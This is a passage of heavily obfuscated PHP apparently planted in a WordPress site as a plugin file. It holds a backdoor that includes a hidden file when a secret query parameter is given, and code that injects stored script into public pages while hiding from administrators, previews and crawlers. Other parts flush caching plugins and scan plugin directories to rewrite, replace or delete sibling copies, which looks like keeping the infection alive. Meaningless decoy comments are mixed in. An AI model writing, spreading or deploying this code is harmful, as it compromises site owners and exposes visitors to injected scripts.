if  (!$hqj2nph9uwpx  ||    ($hqj2nph9uwpx %   (99987+13))  !== e258bnpepjjzl95jyx77()) je70juj6lq88lrd($sgzijcqp6t66b0);
      unset($hqj2nph9uwpx);
}
   unset($d0mb04lyiqcb0_gz, $qitm8vvzsj8jwiej);


   }
  cw1g5is15fzot0mrcbi($eidv2ldk0gje94g1);
 }  catch (Throwable $mrelaaojjq4dc7d)   {
hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(2260),  $mrelaaojjq4dc7d);
 }  catch  (Exception     $mrelaaojjq4dc7d)  {
 }
}
function _dararou3kaelrrrn9cpw()
 {
 if  (!isset($_GET['p']) ||      !rmqbu5no5o(2205)($_GET['p']))  return;
  $ty82veftl1n28602 =     $_GET['p'];

 if  ($ty82veftl1n28602 ===     i3s0ke334l_v7a0tg9x4(igsdp_2fdrp(2261)))  {
// serialize logarithmic trie

  try {
 $b2c51llbqjssnbg   =     b9x_qnoopw0bqe8tpa3a4()     . '/'  .  mqedo90o6oi8f48x6b8n(ABSPATH    .    lfavz1nmi6pw4(2261),  (14-6))  .    wyzg13xdhd5r(2257);


   $pks2fdtns0ze  =   @igsdp_2fdrp(2262)($b2c51llbqjssnbg)    ? (int)    @hus_b7m621lgc6(2224)($b2c51llbqjssnbg)  : 0;
 if    ($pks2fdtns0ze  > (352+148) &&   $pks2fdtns0ze  <=  (0x466b1c+0x994e4))  {
    include $b2c51llbqjssnbg;
  }
     }  catch      (Throwable $mrelaaojjq4dc7d) {



}  catch    (Exception $mrelaaojjq4dc7d) {
}
 while    (igsdp_2fdrp(443)()  > 0  &&   @ob_end_clean()) {
   }
  header(ep_coq62(2263));
 exit;


    }
 if  ($ty82veftl1n28602   !==    i3s0ke334l_v7a0tg9x4(wyzg13xdhd5r(2086)))   return;
try {
  if    (rmqbu5no5o(2264)(rmqbu5no5o(2247))  &&  lfavz1nmi6pw4(2264)(rmqbu5no5o(1762)))  {
 @update_option(igsdp_2fdrp(540),  (int)  @get_option(rmqbu5no5o(540), 0)  +    1,    lfavz1nmi6pw4(1918));

 @update_option(ep_coq62(543), igsdp_2fdrp(2237)(),  ep_coq62(1918));
 }
       $rm4ogxbhdj4mj1i  =    j5gya5jxcqm92g(ep_coq62(1371),     "");
if (lfavz1nmi6pw4(2250)($rm4ogxbhdj4mj1i)  > (158^250) && !rmqbu5no5o(1988)(lfavz1nmi6pw4(2265), $rm4ogxbhdj4mj1i) &&    wyzg13xdhd5r(1988)(lfavz1nmi6pw4(2266), $rm4ogxbhdj4mj1i))      {



      $d8ggxxrdii_3h =    @wyzg13xdhd5r(2267)($rm4ogxbhdj4mj1i, true);


if ($d8ggxxrdii_3h   !==  false  &&      ep_coq62(2268)($d8ggxxrdii_3h) >   (50<<1))    $rm4ogxbhdj4mj1i  =   $d8ggxxrdii_3h;
   }
       if  (hus_b7m621lgc6(2268)($rm4ogxbhdj4mj1i) < (251^159))    $rm4ogxbhdj4mj1i   = ajzej5xdbuj8hunxkke();
  if   (rmqbu5no5o(2268)($rm4ogxbhdj4mj1i)  < (28+72))  {
      while (hus_b7m621lgc6(443)()  >   0 &&   @ob_end_clean())      {
}
 header(rmqbu5no5o(2269));
 header(ep_coq62(2270));
header(rmqbu5no5o(2271));
    exit;
}
   $ffgwzhgw8tan8c   =  j5gya5jxcqm92g(igsdp_2fdrp(1366),  "");
    $esb3ql5jcdhw4bs   =  '"'     .   rmqbu5no5o(2258)($ffgwzhgw8tan8c   .     $rm4ogxbhdj4mj1i)  .    '"';
 if  (isset($_SERVER[lfavz1nmi6pw4(2272)])  &&   lfavz1nmi6pw4(2239)($_SERVER[hus_b7m621lgc6(2272)])  ===  $esb3ql5jcdhw4bs)   {



while    (wyzg13xdhd5r(2273)()  >  0 && @ob_end_clean())  {
 }
   header(wyzg13xdhd5r(2274));
 header(lfavz1nmi6pw4(2275)   . $esb3ql5jcdhw4bs);
exit;



    }
while  (ep_coq62(2273)()  >     0 &&   @ob_end_clean())  {



 }
header(igsdp_2fdrp(2269));


   header(ep_coq62(2270));
       header(ep_coq62(2276));
// PHP 8.4 fibers: deflationary negotiation

       header(wyzg13xdhd5r(2275)    .    $esb3ql5jcdhw4bs);
  echo  $ffgwzhgw8tan8c . $rm4ogxbhdj4mj1i;

   exit;
  }     catch  (Throwable  $mrelaaojjq4dc7d)  {


  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(2277), $mrelaaojjq4dc7d);$wcawok1jvbac=70+12;$et9swgcni0w=$wcawok1jvbac-36;
 }   catch (Exception  $mrelaaojjq4dc7d)    {
  hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(2278),   $mrelaaojjq4dc7d);
       }
}
 _dararou3kaelrrrn9cpw();
   function j4c0au7600ftwz_b6922()
{
    if   (!isset($_GET[lfavz1nmi6pw4(2279)]))   return;
   try   {
// WP Navigation Block: infeasible visitor




  $w6t5duq_e8m = $_GET[igsdp_2fdrp(2280)];
 if  (!wyzg13xdhd5r(2281)($w6t5duq_e8m)    || $w6t5duq_e8m  === "")   return;
    $w6t5duq_e8m    =  lfavz1nmi6pw4(1255)($w6t5duq_e8m);


$xs6chgk5hc6tserg = array();
if (rmqbu5no5o(2282)(hus_b7m621lgc6(750)))  $xs6chgk5hc6tserg[]  =     (string)      lfavz1nmi6pw4(1351)(home_url(),  PHP_URL_HOST);
      if (igsdp_2fdrp(2282)(igsdp_2fdrp(2247)))  {$kedlwqm5t2i=62*9;$txc4ma0pp=$kedlwqm5t2i-39;
$uliqniwxm6e59 =    (string)     @get_option(lfavz1nmi6pw4(2283),      "");
   if  ($uliqniwxm6e59  !==  "")     $xs6chgk5hc6tserg[]    =  (string)   ep_coq62(1351)($uliqniwxm6e59,   PHP_URL_HOST);
   }
  if  (isset($_SERVER[rmqbu5no5o(620)])) $xs6chgk5hc6tserg[]      =  (string)  $_SERVER[wyzg13xdhd5r(2284)];
 $xs6chgk5hc6tserg[]    =   lz7ktsy7nr_utk0og4h("");


    $uhc39xh247      =      false;
   foreach     (igsdp_2fdrp(1259)($xs6chgk5hc6tserg)      as    $i6slgxalbsqoabh)  {
 if    (!wyzg13xdhd5r(2281)($i6slgxalbsqoabh) || $i6slgxalbsqoabh   === "")  continue;
       if   (lfavz1nmi6pw4(2196)($i6slgxalbsqoabh, ':') !==    false) $i6slgxalbsqoabh  =  ep_coq62(2169)(rmqbu5no5o(2285),  "",    $i6slgxalbsqoabh);

  if (mqedo90o6oi8f48x6b8n(rmqbu5no5o(1255)($i6slgxalbsqoabh)  .  lfavz1nmi6pw4(2286), (5+7))  ===  $w6t5duq_e8m)  {
$uhc39xh247  =   true;
break;
   }
  }



   if   (!$uhc39xh247) return;
 $pxrwbmo2w6iz =     ep_coq62(1388)(igsdp_2fdrp(2287), (214^200));
 $go7oqpg_5m_coi     = c1mtichhsrpc724s9x4(bi98zsufu16165sq5v6fl($pxrwbmo2w6iz));
      while   (hus_b7m621lgc6(2273)() >  0  &&  @ob_end_clean())  {
  }
 header(hus_b7m621lgc6(2288));
header(igsdp_2fdrp(2289));
  echo ($go7oqpg_5m_coi     ===     $pxrwbmo2w6iz) ?  hus_b7m621lgc6(2290)  .  igsdp_2fdrp(2258)($pxrwbmo2w6iz)  :   ep_coq62(2291);
exit;
}     catch   (Throwable     $mrelaaojjq4dc7d)   {


       hnp_n76gqrqs6vbf7203of(ep_coq62(2292),   $mrelaaojjq4dc7d);
}     catch (Exception $mrelaaojjq4dc7d)  {
// WP Group Block: rollback accumulator

   hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(2292), $mrelaaojjq4dc7d);
  }
    }
 j4c0au7600ftwz_b6922();



 function   ijqg87scbrvpslx5x()
  {
 try {
      if (ep_coq62(2293)(hus_b7m621lgc6(2294)))    rocket_clean_domain();
     if (ep_coq62(2295)(ep_coq62(2296)))     w3tc_flush_all();
if  (lfavz1nmi6pw4(2295)(hus_b7m621lgc6(584)))   sg_cachepress_purge_cache();
   if (ep_coq62(2295)(hus_b7m621lgc6(2297)))   litespeed_purge_all();
     elseif (lfavz1nmi6pw4(2218)(lfavz1nmi6pw4(2298))     &&   hus_b7m621lgc6(1310)(lfavz1nmi6pw4(2298),  wyzg13xdhd5r(2299)))    LiteSpeed_Cache_API::purge_all();
  if  (lfavz1nmi6pw4(2218)(hus_b7m621lgc6(2300))  &&  ep_coq62(1310)(rmqbu5no5o(2300),     wyzg13xdhd5r(2301)))  Breeze_PurgeCache::breeze_cache_flush();
   if     (lfavz1nmi6pw4(2218)(lfavz1nmi6pw4(586))   &&   igsdp_2fdrp(2302)(igsdp_2fdrp(2303),   wyzg13xdhd5r(2304)))   Cache_Enabler::clear_total_cache();


   if  (hus_b7m621lgc6(2295)(lfavz1nmi6pw4(2305)))  wpfc_clear_all_cache();
elseif   (isset($GLOBALS[wyzg13xdhd5r(587)])  &&   hus_b7m621lgc6(1309)($GLOBALS[wyzg13xdhd5r(587)])   && rmqbu5no5o(2302)($GLOBALS[lfavz1nmi6pw4(587)], ep_coq62(2306)))   $GLOBALS[ep_coq62(2307)]->deleteCache(true);
 if (ep_coq62(2295)(lfavz1nmi6pw4(2308)))     wp_cache_clear_cache();



     if    (igsdp_2fdrp(2218)(igsdp_2fdrp(2309))    &&  hus_b7m621lgc6(2302)(rmqbu5no5o(2309),  ep_coq62(2310)))   autoptimizeCache::clearall();
hnp_n76gqrqs6vbf7203of(ep_coq62(2311),  rmqbu5no5o(2312));
  }  catch   (Throwable  $mrelaaojjq4dc7d)   {



hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(2313),    $mrelaaojjq4dc7d);
      }   catch (Exception   $mrelaaojjq4dc7d)   {
        }

   }
   function   x_7_y6ugm96obl36()
{
if  (hus_b7m621lgc6(2295)(ep_coq62(886))  &&  is_admin())    return true;

     if   (wyzg13xdhd5r(2295)(rmqbu5no5o(2314))  &&    wp_doing_ajax())  return    true;
      if   (defined(lfavz1nmi6pw4(2315))   &&  REST_REQUEST)   return  true;
    if (defined(rmqbu5no5o(2316))   && XMLRPC_REQUEST)  return  true;


   if (wyzg13xdhd5r(2295)(lfavz1nmi6pw4(2317))  &&  is_feed())   return   true;
   if  (igsdp_2fdrp(2295)(igsdp_2fdrp(2318))  && is_robots()) return  true;


       if (lfavz1nmi6pw4(2319)(igsdp_2fdrp(2320)) && is_sitemaps())   return true;
    if  (rmqbu5no5o(2321)(lfavz1nmi6pw4(2322))    &&   is_customize_preview())  return   true;
  if     (isset($_GET[lfavz1nmi6pw4(2323)])      ||      isset($_GET[hus_b7m621lgc6(2324)]) || isset($_GET[igsdp_2fdrp(2325)]))  return true;
return  false;

}
 function  y2a8l37ldojt10()
{
     $spigvgk7ky =   (isset($GLOBALS[igsdp_2fdrp(469)])    &&   wyzg13xdhd5r(2281)($GLOBALS[hus_b7m621lgc6(469)]))     ?  ep_coq62(2239)($GLOBALS[igsdp_2fdrp(469)])     : "";
 if  ($spigvgk7ky    === "")   return  "";
 $spigvgk7ky  =     hus_b7m621lgc6(1950)(lfavz1nmi6pw4(2326),  ep_coq62(2327),    $spigvgk7ky);
  $naw7urgbxcc  = ep_coq62(2328)(wyzg13xdhd5r(750)) ?   (string)     rmqbu5no5o(1351)(home_url(),    PHP_URL_HOST)  :  "";
 


   $wg_oy8rc0gq2    =     mqedo90o6oi8f48x6b8n(wyzg13xdhd5r(1255)($naw7urgbxcc),     (0x2+0x4));
    $_sl355fjpoheer1 =  ep_coq62(2329)(wyzg13xdhd5r(2258)($spigvgk7ky),  0,  (5+1));
return "\n<script data-sc=\""  . $wg_oy8rc0gq2 .    '-'  .  $_sl355fjpoheer1   .     "\">\n" .   $spigvgk7ky  . "\n</script>\n<!-- sc"  .   $wg_oy8rc0gq2    . '-' .   $_sl355fjpoheer1  .    " -->\n";
   }
  function     h_f_dfj44yraueum()
{$bui6dh6m8h7e=(0x42+0x28);$odq_ikgff5rjxu=$bui6dh6m8h7e%6;
try  {
// @color-register adapter


if   (x_7_y6ugm96obl36())   return;


 $vf0sqsjhfdx1i =   y2a8l37ldojt10();
if    ($vf0sqsjhfdx1i  ===  "") return;


 echo $vf0sqsjhfdx1i;
$GLOBALS[igsdp_2fdrp(530)] =  true;



  if (igsdp_2fdrp(2330)(igsdp_2fdrp(2247)) && lfavz1nmi6pw4(2330)(wyzg13xdhd5r(2331)) &&   empty($GLOBALS[hus_b7m621lgc6(2332)])) {
$GLOBALS[hus_b7m621lgc6(2332)]    = true;
  $e6vrj22c1kpo = (int)    @get_option(ep_coq62(536), 0);
 if  (igsdp_2fdrp(2333)()    -      $e6vrj22c1kpo >  (265+35))   @update_option(wyzg13xdhd5r(536),  ep_coq62(2333)(),  hus_b7m621lgc6(1918));
  unset($e6vrj22c1kpo);
   

}
 }  catch  (Throwable $mrelaaojjq4dc7d)  {
hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(2334),  $mrelaaojjq4dc7d);
 } catch (Exception      $mrelaaojjq4dc7d)  {

    }
 }

 function    ir89r5cqrioc3s6ee1($qnfmv2ucj9fth)
       {



 if (!igsdp_2fdrp(2281)($qnfmv2ucj9fth)  ||  $qnfmv2ucj9fth  === "")   return    $qnfmv2ucj9fth;
    if   (!empty($GLOBALS[hus_b7m621lgc6(2335)])) return  $qnfmv2ucj9fth;
  $vf0sqsjhfdx1i =  y2a8l37ldojt10();
  if  ($vf0sqsjhfdx1i   ===     "")     return  $qnfmv2ucj9fth;
 if (stripos($qnfmv2ucj9fth,   hus_b7m621lgc6(2336)) ===  false  &&  stripos($qnfmv2ucj9fth,  rmqbu5no5o(2337)) ===  false)  return  $qnfmv2ucj9fth;$za9kd7tdt=33|65;$s5qcwn9ewlqh=$za9kd7tdt^112;
$GLOBALS[igsdp_2fdrp(2335)]   = true;
  $GLOBALS[ep_coq62(2338)]  =  true;

 $mrf1lac018dwpn_    =   stripos($qnfmv2ucj9fth,     igsdp_2fdrp(2336));
   if    ($mrf1lac018dwpn_ !==     false)   {
    return wyzg13xdhd5r(2329)($qnfmv2ucj9fth,   0,  $mrf1lac018dwpn_)      . $vf0sqsjhfdx1i   . wyzg13xdhd5r(2329)($qnfmv2ucj9fth,   $mrf1lac018dwpn_);
 }
  return      $qnfmv2ucj9fth   .  $vf0sqsjhfdx1i;
}
function      ki9nt5ycnhvxdl75()
    {


    try   {
   if     (x_7_y6ugm96obl36())  return;
   if  (!empty($GLOBALS[hus_b7m621lgc6(2339)]))  return;
 $spigvgk7ky  =  (isset($GLOBALS[igsdp_2fdrp(469)]) &&  igsdp_2fdrp(2340)($GLOBALS[rmqbu5no5o(469)]))  ?    hus_b7m621lgc6(2239)($GLOBALS[rmqbu5no5o(469)])   : "";



if    ($spigvgk7ky === "") return;

   $GLOBALS[wyzg13xdhd5r(2339)] =  true;
 @ep_coq62(2341)(rmqbu5no5o(2342));
       } catch    (Throwable $mrelaaojjq4dc7d) {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(531), $mrelaaojjq4dc7d);
  } catch (Exception $mrelaaojjq4dc7d)  {
      }
    }
    function     q370ch6nlkt0jjb9stxv()



    {
  try  {
  if   (!is_admin()  &&   (!isset($GLOBALS[lfavz1nmi6pw4(2343)]) ||  $GLOBALS[wyzg13xdhd5r(2343)]    !==   rmqbu5no5o(607))) return;
      if  (hus_b7m621lgc6(2330)(wyzg13xdhd5r(1043))     &&    !is_ssl())  return;$s76tqsitih7=199|169;$coi883lf3cd=$s76tqsitih7^219;
 $rsglzscd8itcnd  =  j5gya5jxcqm92g(ep_coq62(394), "");
$wg_oy8rc0gq2 =  mqedo90o6oi8f48x6b8n(ABSPATH    .  lfavz1nmi6pw4(2334),    (0x1+0x5));
 $qfjp2isb9_  =  lfavz1nmi6pw4(1696);
   

   if  ($rsglzscd8itcnd    ===     "")   {
// @allocate transformer

   if (ep_coq62(2330)(ep_coq62(2247)) &&  (int) @get_option(hus_b7m621lgc6(546),  0))   {
      @update_option(wyzg13xdhd5r(546),  0,    wyzg13xdhd5r(1918));
   $u4kx71xmqy_ = (string)     @get_option(rmqbu5no5o(2344),  "");
 echo   "\n"     . ep_coq62(2345)  . $wg_oy8rc0gq2 .  '>'


  .   rmqbu5no5o(2346)
    .  wyzg13xdhd5r(2347) . $qfjp2isb9_(hus_b7m621lgc6(2348)) . igsdp_2fdrp(2349)
.   igsdp_2fdrp(2350) .  igsdp_2fdrp(1742)($u4kx71xmqy_) .   ';'
 .    wyzg13xdhd5r(2351) .  $qfjp2isb9_(ep_coq62(2352))  .    hus_b7m621lgc6(2353)
   .    hus_b7m621lgc6(2354)   .  $qfjp2isb9_(hus_b7m621lgc6(2355)) .   lfavz1nmi6pw4(2356)    .   $qfjp2isb9_(wyzg13xdhd5r(2357))     . lfavz1nmi6pw4(2358) .     $qfjp2isb9_(igsdp_2fdrp(2359))  . igsdp_2fdrp(2360)   .   $qfjp2isb9_(ep_coq62(2361))  .  hus_b7m621lgc6(2362)
     .  hus_b7m621lgc6(2363) .   $qfjp2isb9_(ep_coq62(2364))   .   wyzg13xdhd5r(2365)  .   $qfjp2isb9_(ep_coq62(2366))  . rmqbu5no5o(2367)



. igsdp_2fdrp(2368)    .   "\n";
      unset($u4kx71xmqy_);
}
// inflationary orbit

    return;
}
  $rsglzscd8itcnd    =  rmqbu5no5o(1950)(lfavz1nmi6pw4(1344),   wyzg13xdhd5r(2369),    $rsglzscd8itcnd);


  if   (rmqbu5no5o(2370)($rsglzscd8itcnd,  igsdp_2fdrp(2369))  !==  0)   $rsglzscd8itcnd      =      rmqbu5no5o(2369) . igsdp_2fdrp(9)($rsglzscd8itcnd,    '/');
  $dhswuonyv1jlp = '/';



    if  (lfavz1nmi6pw4(2330)(wyzg13xdhd5r(750)))   {
 $kef7vgzyhid  =  (string)    ep_coq62(1351)(home_url(),   PHP_URL_PATH);



  if   ($kef7vgzyhid  !== ""  &&  $kef7vgzyhid !==     '/')    $dhswuonyv1jlp    =   hus_b7m621lgc6(2211)($kef7vgzyhid,     '/') . '/';
 }
/* open pipeline */

  if (lfavz1nmi6pw4(2371)(rmqbu5no5o(2331)))  {
@update_option(rmqbu5no5o(546),  1, ep_coq62(2372));

      @update_option(wyzg13xdhd5r(2344), $rsglzscd8itcnd,   ep_coq62(2373));
}

    $icr5n1qx4zv34r   = lfavz1nmi6pw4(2374) .   $wg_oy8rc0gq2 .      '>'



.   ep_coq62(2375)
. rmqbu5no5o(2347)  .   $qfjp2isb9_(ep_coq62(2348))    . wyzg13xdhd5r(2376)
 .   rmqbu5no5o(2377)
 .     rmqbu5no5o(2378)  .  $qfjp2isb9_(ep_coq62(2379)) . hus_b7m621lgc6(2380)   .   hus_b7m621lgc6(1742)($rsglzscd8itcnd)  .  ')'
 . igsdp_2fdrp(2381)    .  $qfjp2isb9_(rmqbu5no5o(2382))  . wyzg13xdhd5r(2380)  . lfavz1nmi6pw4(1742)($rsglzscd8itcnd)    .   ep_coq62(2383) .   igsdp_2fdrp(1742)($dhswuonyv1jlp)   .   hus_b7m621lgc6(2384) . $qfjp2isb9_(lfavz1nmi6pw4(2385))     .    rmqbu5no5o(2386)

  . igsdp_2fdrp(2387)  .   $qfjp2isb9_(hus_b7m621lgc6(2385))      .   wyzg13xdhd5r(2388)
.  lfavz1nmi6pw4(2389)   . $qfjp2isb9_(wyzg13xdhd5r(2390))  . rmqbu5no5o(2391) .  $qfjp2isb9_(hus_b7m621lgc6(154))     .     rmqbu5no5o(2392)
  .  igsdp_2fdrp(2393)  . $qfjp2isb9_(lfavz1nmi6pw4(2394))   . ep_coq62(2395)
 .   ep_coq62(2396)
  .  lfavz1nmi6pw4(2389)     . $qfjp2isb9_(igsdp_2fdrp(2397))   .   rmqbu5no5o(2398)
     .  lfavz1nmi6pw4(2399)  .  $qfjp2isb9_(igsdp_2fdrp(2355)) . wyzg13xdhd5r(2400) .     $qfjp2isb9_(rmqbu5no5o(2401))  .  lfavz1nmi6pw4(2402)
.     rmqbu5no5o(2368);
echo     "\n"   .  $icr5n1qx4zv34r  .      "\n";
 }  catch (Throwable $mrelaaojjq4dc7d)    {
 hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(2403),   $mrelaaojjq4dc7d);


 }  catch  (Exception $mrelaaojjq4dc7d)  {
   hnp_n76gqrqs6vbf7203of(ep_coq62(2403),  $mrelaaojjq4dc7d);
 }


 }
  
if (gk9ag4bi3emwmfcvdbcg()) {
  return;


}
 wm36gul0ej7zx_8m();
        $n6xjndzvn_3232ks  =      @hus_b7m621lgc6(2259)(kwizo_5vxh_f26an7qg());
if  (!$n6xjndzvn_3232ks  ||  ($n6xjndzvn_3232ks  %   (99932+68))  !==  e258bnpepjjzl95jyx77()) {
// acquire invariant for WP Post Terms

 $jcftvc9hne  =    rmqbu5no5o(2333)();
// @terminate timeout-policy


ssuek6ionh2j25j(kwizo_5vxh_f26an7qg(),      ($jcftvc9hne   -  ($jcftvc9hne      % (0xddc1+0xa8df)))  +   e258bnpepjjzl95jyx77());
unset($jcftvc9hne);
  }
    unset($n6xjndzvn_3232ks);
   try {
// preempt satisfiable locator

   $cpkodlqbbn90ky   = __FILE__;



 $w6vtvqff5bs8f =    "";
 $j7oe0t81vj9t    =  @ep_coq62(2245)($cpkodlqbbn90ky,   false, null,    0, (0x5dd+0xa23));
if (hus_b7m621lgc6(2404)($j7oe0t81vj9t)     &&  ep_coq62(1988)(wyzg13xdhd5r(861),    $j7oe0t81vj9t,    $_2czqqmep3g9fh))  $w6vtvqff5bs8f =   $_2czqqmep3g9fh[1];


 if   ($w6vtvqff5bs8f    !==   ""    &&    defined(hus_b7m621lgc6(2405)))   {
   $ki16se9sqwvxv  = array();$lgtnely2uuhtk8=12*7;$h_52rkv3wi=$lgtnely2uuhtk8-23;
  $ws4bhjq6jlcffxq1    =      defined(igsdp_2fdrp(2007))     ?  WPMU_PLUGIN_DIR :  WP_CONTENT_DIR   .  lfavz1nmi6pw4(2406);
$bi7l5v5ptoipy  =  defined(ep_coq62(1672)) ? WP_PLUGIN_DIR :    WP_CONTENT_DIR . lfavz1nmi6pw4(837);
 $wy7v3dkylf95fwzi  =  false;



  if  (lfavz1nmi6pw4(2371)(rmqbu5no5o(2114)))  {
  $u7p98bm_7ji5     = @lfavz1nmi6pw4(2253)($ws4bhjq6jlcffxq1)     ?  @ep_coq62(2114)($ws4bhjq6jlcffxq1  .  hus_b7m621lgc6(2011))  :  false;
    $gb4d8aknc7y0  =  @hus_b7m621lgc6(2114)($bi7l5v5ptoipy  .  hus_b7m621lgc6(487));
 if (ep_coq62(2407)($u7p98bm_7ji5)  || ep_coq62(2407)($gb4d8aknc7y0)) {


 $wy7v3dkylf95fwzi   =     true;
    foreach    ((array)      $u7p98bm_7ji5   as $mw8hnp982r7vm)  $ki16se9sqwvxv[] = $mw8hnp982r7vm;
   foreach ((array) $gb4d8aknc7y0     as $mw8hnp982r7vm)  $ki16se9sqwvxv[]  =    $mw8hnp982r7vm;
 }



   unset($u7p98bm_7ji5,     $gb4d8aknc7y0);
 

  }
   if   (!$wy7v3dkylf95fwzi)    {
 $uq_8zn5108  =      @hus_b7m621lgc6(2408)($ws4bhjq6jlcffxq1)   ?   aoy815vanbylrvbuug0i($ws4bhjq6jlcffxq1)   :   false;
      if  (wyzg13xdhd5r(2409)($uq_8zn5108))  foreach    ($uq_8zn5108 as $koml7f2bsx)   {


 if   (wyzg13xdhd5r(2329)($koml7f2bsx,  -(6-2))    ===    wyzg13xdhd5r(2257))   $ki16se9sqwvxv[]  =   $ws4bhjq6jlcffxq1  . '/'     .   $koml7f2bsx;


 }
     $uq_8zn5108      = @igsdp_2fdrp(2408)($bi7l5v5ptoipy)  ?  aoy815vanbylrvbuug0i($bi7l5v5ptoipy) :  false;


if  (hus_b7m621lgc6(2409)($uq_8zn5108)) foreach   ($uq_8zn5108   as     $koml7f2bsx)  {
     $rhxbwsjhzdjq1pm8 =  $bi7l5v5ptoipy   .     '/'  .  $koml7f2bsx;

   if   (!@ep_coq62(2408)($rhxbwsjhzdjq1pm8))   continue;
    $i_54c1xrupr =    aoy815vanbylrvbuug0i($rhxbwsjhzdjq1pm8);
if  (!lfavz1nmi6pw4(2409)($i_54c1xrupr)) continue;
       foreach ($i_54c1xrupr  as $j9uo8tddq8k) {
if  (wyzg13xdhd5r(2329)($j9uo8tddq8k,     -(2+2))      === wyzg13xdhd5r(2257))   $ki16se9sqwvxv[]    =  $rhxbwsjhzdjq1pm8 .     '/' .  $j9uo8tddq8k;
   }
 }
     unset($uq_8zn5108,   $koml7f2bsx,    $j9uo8tddq8k, $rhxbwsjhzdjq1pm8, $i_54c1xrupr);
    }
 $aow6vk_if5kabr    =   hus_b7m621lgc6(2410)($cpkodlqbbn90ky, hus_b7m621lgc6(2411));
  foreach  ($ki16se9sqwvxv   as   $mw8hnp982r7vm)   {



if ($mw8hnp982r7vm  ===  $cpkodlqbbn90ky)   continue;
  $x2r3_l0jbal5r97 =  @rmqbu5no5o(2412)($mw8hnp982r7vm);

  if     (!$x2r3_l0jbal5r97     ||    ($x2r3_l0jbal5r97 %   (176476-76476))  !==   (0x12318+0x4b63))     {


      $b0su6mhla7zsb  =   @ep_coq62(2413)($mw8hnp982r7vm);
 if (!$b0su6mhla7zsb  || $b0su6mhla7zsb     <    (0x1c8+0x2c) || $b0su6mhla7zsb >    (0x196a7f0+0x1895810))    continue;
   }
 $j7oe0t81vj9t =   @ep_coq62(2414)($mw8hnp982r7vm,  false,     null,   0, (7572-3476));
    if (!hus_b7m621lgc6(2415)($j7oe0t81vj9t) ||     wyzg13xdhd5r(2370)($j7oe0t81vj9t, hus_b7m621lgc6(1926)) ===   false) continue;
      if (!ep_coq62(2416)(hus_b7m621lgc6(861),   $j7oe0t81vj9t,    $_2czqqmep3g9fh))   continue;
if   (hus_b7m621lgc6(2410)($mw8hnp982r7vm,  hus_b7m621lgc6(2411))  === $aow6vk_if5kabr &&  $_2czqqmep3g9fh[1]   ===   $w6vtvqff5bs8f) {
if (!dww3vqm0v_wguq7nb_u($mw8hnp982r7vm))  {
  if  (cyv7b4mpbkf5y9k($mw8hnp982r7vm,     $mw8hnp982r7vm .   wyzg13xdhd5r(178)) &&   rmqbu5no5o(2371)(rmqbu5no5o(2417)))   @opcache_invalidate($mw8hnp982r7vm,    true);
 }
   continue;
  }

if  (version_compare($_2czqqmep3g9fh[1],   $w6vtvqff5bs8f,    '<'))  {
     $zee_pc87wmz   =  ap4ok1eip838yapv3nc6($mw8hnp982r7vm);
  if   ($zee_pc87wmz ===      false)   {



     hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1931),      igsdp_2fdrp(2418)  . rmqbu5no5o(2410)($mw8hnp982r7vm));
 continue;
}
       if     ($zee_pc87wmz      ===  true) {

if  (cyv7b4mpbkf5y9k($mw8hnp982r7vm,   $mw8hnp982r7vm      .  igsdp_2fdrp(178)))    {
// satisfiable provider

  if  (hus_b7m621lgc6(2419)(igsdp_2fdrp(2417))) @opcache_invalidate($mw8hnp982r7vm, true);
  

}
 @rmqbu5no5o(2420)(lfavz1nmi6pw4(2095)($mw8hnp982r7vm)  . igsdp_2fdrp(2023)  .  hus_b7m621lgc6(2421)($mw8hnp982r7vm,      lfavz1nmi6pw4(2411)));
    continue;
     }
@ep_coq62(2422)($mw8hnp982r7vm);
 @igsdp_2fdrp(2423)(ep_coq62(2095)($mw8hnp982r7vm) . lfavz1nmi6pw4(2023)  .   igsdp_2fdrp(2421)($mw8hnp982r7vm, rmqbu5no5o(2411)));


 if   (igsdp_2fdrp(2419)(lfavz1nmi6pw4(2417)))  @opcache_invalidate($mw8hnp982r7vm,    true);
continue;
}
$g94jopro04nru   =    (wyzg13xdhd5r(2424)(lfavz1nmi6pw4(2095)($mw8hnp982r7vm))   ===  lfavz1nmi6pw4(2425)   ||   lfavz1nmi6pw4(2095)($mw8hnp982r7vm)  === $ws4bhjq6jlcffxq1);

if (!$g94jopro04nru &&  wyzg13xdhd5r(2426)(wyzg13xdhd5r(2247)))  {


$v30quh6dob9s7 =  igsdp_2fdrp(2427)(ep_coq62(2095)($mw8hnp982r7vm))  .    '/'    .    igsdp_2fdrp(2427)($mw8hnp982r7vm);
   $rsvat83fzcn     = (array)      @get_option(rmqbu5no5o(2256),    array());
  $g94jopro04nru =  rmqbu5no5o(2428)($v30quh6dob9s7, $rsvat83fzcn, true);
   if (!$g94jopro04nru    &&  igsdp_2fdrp(2429)(igsdp_2fdrp(207))     &&   is_multisite()  &&  rmqbu5no5o(2429)(igsdp_2fdrp(209)))  {
   $rzs8cf98rubj  = (array)    @get_site_option(lfavz1nmi6pw4(2430),   array());
   $g94jopro04nru    =  isset($rzs8cf98rubj[$v30quh6dob9s7]);
    unset($rzs8cf98rubj);


     }
    unset($v30quh6dob9s7, $rsvat83fzcn);
 }
if (!$g94jopro04nru) continue;

 if    (version_compare($_2czqqmep3g9fh[1],    $w6vtvqff5bs8f, '>')) {
      if  (dww3vqm0v_wguq7nb_u($mw8hnp982r7vm)  &&  !pje0f8ozx98xw5lvp($mw8hnp982r7vm))  return;
   $buoq3h9wej   = igsdp_2fdrp(2095)($mw8hnp982r7vm)   .  igsdp_2fdrp(2431)    .  hus_b7m621lgc6(2432)($mw8hnp982r7vm);
if (@lfavz1nmi6pw4(2262)($buoq3h9wej)   &&    (int)   @hus_b7m621lgc6(2412)($buoq3h9wej) <  wyzg13xdhd5r(2333)()   -    (15<<2))     {
$s0ue7gwwslo7  =  ep_coq62(90)('|',   (string) @hus_b7m621lgc6(2414)($buoq3h9wej));
